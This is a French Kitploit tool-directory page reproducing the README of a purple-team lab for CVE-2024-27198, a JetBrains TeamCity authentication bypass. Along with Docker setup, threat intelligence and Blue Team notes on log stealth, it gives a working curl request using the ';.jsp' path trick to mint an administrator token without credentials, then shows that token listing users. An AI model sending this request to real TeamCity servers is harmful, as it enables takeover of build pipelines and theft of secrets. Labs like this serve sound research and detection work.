Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-27198_Lab — Laboratoire pour CVE-2024-27198 | Kitploit
Outils/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Analyse des VulnérabilitésExploitationExploitation d'Applications WebCTFTests d'IntrusionRenseignement sur les MenacesDétection d'IntrusionApprentissage et ÉducationRéponse aux IncidentsAnalyse de JournauxLabs et Pratique
24il y a 1 moisPas encore vérifié
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

Laboratoire pour CVE-2024-27198

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager


CVE-2024-27198_Lab

Laboratoire de recherche sur les vulnérabilités et de démonstration Purple Team pour le contournement d'authentification de JetBrains TeamCity (CVE-2024-27198)

Table des matières

  • À propos du projet
    • Détails de la CVE
    • Réalisé avec
  • Renseignement sur les menaces et OSINT
    • Impact et exploitation dans le monde réel
    • Pourquoi cette CVE est critique
  • Prise en main
    • Prérequis
    • Installation et configuration du laboratoire
  • Étapes de reproduction et d'exploitation
    • Portail de connexion
    • Tester la vulnérabilité
    • Générer un jeton d'administrateur
    • Vérifier le jeton
    • Supprimer le jeton
    • Blue Team : recherche d'IoC dans les journaux
    • Arrêter les conteneurs
  • Atténuation et détection
    • Analyse technique (CWE-288)
    • Indicateurs de compromission (IoC)
    • Détection dans les journaux (règle Sigma)
    • Démonstration SIEM en direct (Blue Team)
    • Remédiation
    • Détection réseau (règle Suricata / Snort)
    • Tester la version corrigée
  • Liens

À propos du projet

TeamCity fournit une page réservée aux administrateurs pour la gestion des jetons qui n'est pas protégée par authentification. Cela permet à un utilisateur non authentifié de générer un jeton d'accès pour l'utilisateur administrateur s'il parvient à trouver l'ID d'un utilisateur existant.

Ce dépôt contient un laboratoire Dockerisé complet et reproductible avec des environnements TeamCity vulnérable (:8111) et corrigé (:8112), des scripts d'exploitation automatisés (exploit.py), des guides de recherche d'IoC dans les journaux pour la Blue Team, et un simulateur d'événements SIEM en direct (siem_simulator.py).

Détails de la CVE

  • ID CVE : CVE-2024-27198
  • CWE : CWE-288 (Contournement d'authentification via un chemin ou un canal alternatif)
  • CNA : JetBrains s.r.o.
  • Score de base : 9.8 CRITIQUE
  • Vecteur : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • AV:N — Réseau
    • AC:L — Faible
    • PR:N — Aucun
    • UI:N — Aucune
    • S:U — Inchangé
    • C:H — Élevé
    • I:H — Élevé
    • A:H — Élevé

Réalisé avec

  • Docker
  • Python
  • JetBrains TeamCity
  • Sigma
  • Suricata

Renseignement sur les menaces et OSINT

Impact et exploitation dans le monde réel

  • Catalogue KEV de la CISA : Ajoutée le 7 mars 2024, confirmant une exploitation active dans la nature.
  • Acteurs de la menace : Exploitée par plusieurs groupes de rançongiciels et APT, notamment le groupe de rançongiciels BianLian et la variante de rançongiciel Jasmin. Les attaquants ont utilisé ce contournement pour créer des comptes administrateurs frauduleux, déployer des plugins malveillants et exécuter du code arbitraire (RCE) afin de se déplacer latéralement dans les réseaux des victimes.
  • Profil des cibles : Les pipelines CI/CD sont des cibles de grande valeur (attaques de la chaîne d'approvisionnement). Compromettre TeamCity permet aux attaquants d'injecter du code malveillant dans les builds logiciels, de voler le code source et d'extraire des secrets de déploiement (clés AWS, certificats).

Pourquoi cette CVE est critique

La vulnérabilité réside dans le mécanisme de routage de l'API REST. En ajoutant des caractères spécifiques (comme ?jsp=/app/rest/...;.jsp) à un point de terminaison non authentifié, les attaquants peuvent tromper le serveur web TeamCity pour qu'il achemine la requête vers un point de terminaison authentifié tout en contournant les filtres de sécurité. Cela ne nécessite aucune connaissance ni aucun accès préalable, ce qui en fait un pur score CVSS de 9.8.

Pour commencer

Pour obtenir une copie locale de ce lab et la faire fonctionner, suivez ces simples étapes d'exemple.

Prérequis

  • Docker & Docker Compose
  • Python 3.10+
  • curl

Installation & configuration du lab

  1. Cloner le dépôt
    git clone [email protected]:cmpnn-romain/CVE-2024-27198_Lab.git
    
  2. Changer de répertoire
    cd CVE-2024-27198_Lab
    
  3. Démarrer les conteneurs
    docker compose up -d
    
  • Accédez à l'instance TeamCity vulnérable à l'adresse : http://localhost:8111
  • Accédez à l'instance TeamCity corrigée à l'adresse : http://localhost:8112

Étapes de reproduction et d'exploitation

Portail de connexion

Nom d'utilisateur :

admin

Mot de passe :

admin

Tester la vulnérabilité

Requête GET pour une ressource sans authentification :

curl -i http://localhost:8111/app/rest/users
curl -i http://localhost:8112/app/rest/users

Les deux doivent renvoyer une erreur avec le code de statut 401.

Générer un token pour l'utilisateur admin

curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Cela devrait renvoyer un jeton comme celui-ci (le jeton est différent à chaque fois) :

eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Cela devrait renvoyer une erreur avec le code de statut 401, car l'instance corrigée ne présente pas la vulnérabilité.

Vérifier le jeton

curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Doit renvoyer la liste des utilisateurs.

Supprimer le token

  1. Rendez-vous sur http://localhost:8111 avec le compte admin.
  2. Cliquez sur l'icône de profil en haut à droite.
  3. Allez dans Profile -> Access Tokens.
  4. Vous verrez le token « REDTEAM ».
  5. Cliquez simplement sur Delete à côté du token.

Blue Team : recherche d'IoC dans les logs (le facteur furtivité)

Lors de la démonstration sur le lab, vous pouvez montrer une découverte majeure pour la Blue Team : par défaut, cette vulnérabilité est incroyablement furtive !

  1. Les logs d'accès Tomcat sont désactivés par défaut dans l'image Docker de TeamCity, donc les requêtes HTTP ;.jsp ne sont pas journalisées.
  2. Le journal d'audit de TeamCity ne journalise pas la création de tokens via l'API REST.

Alors comment le détecter ? Quand l'attaquant efface ses traces ! Lorsque l'attaquant supprime son token malveillant pour se cacher, TeamCity journalise bien cette action.

Télécharger l’outil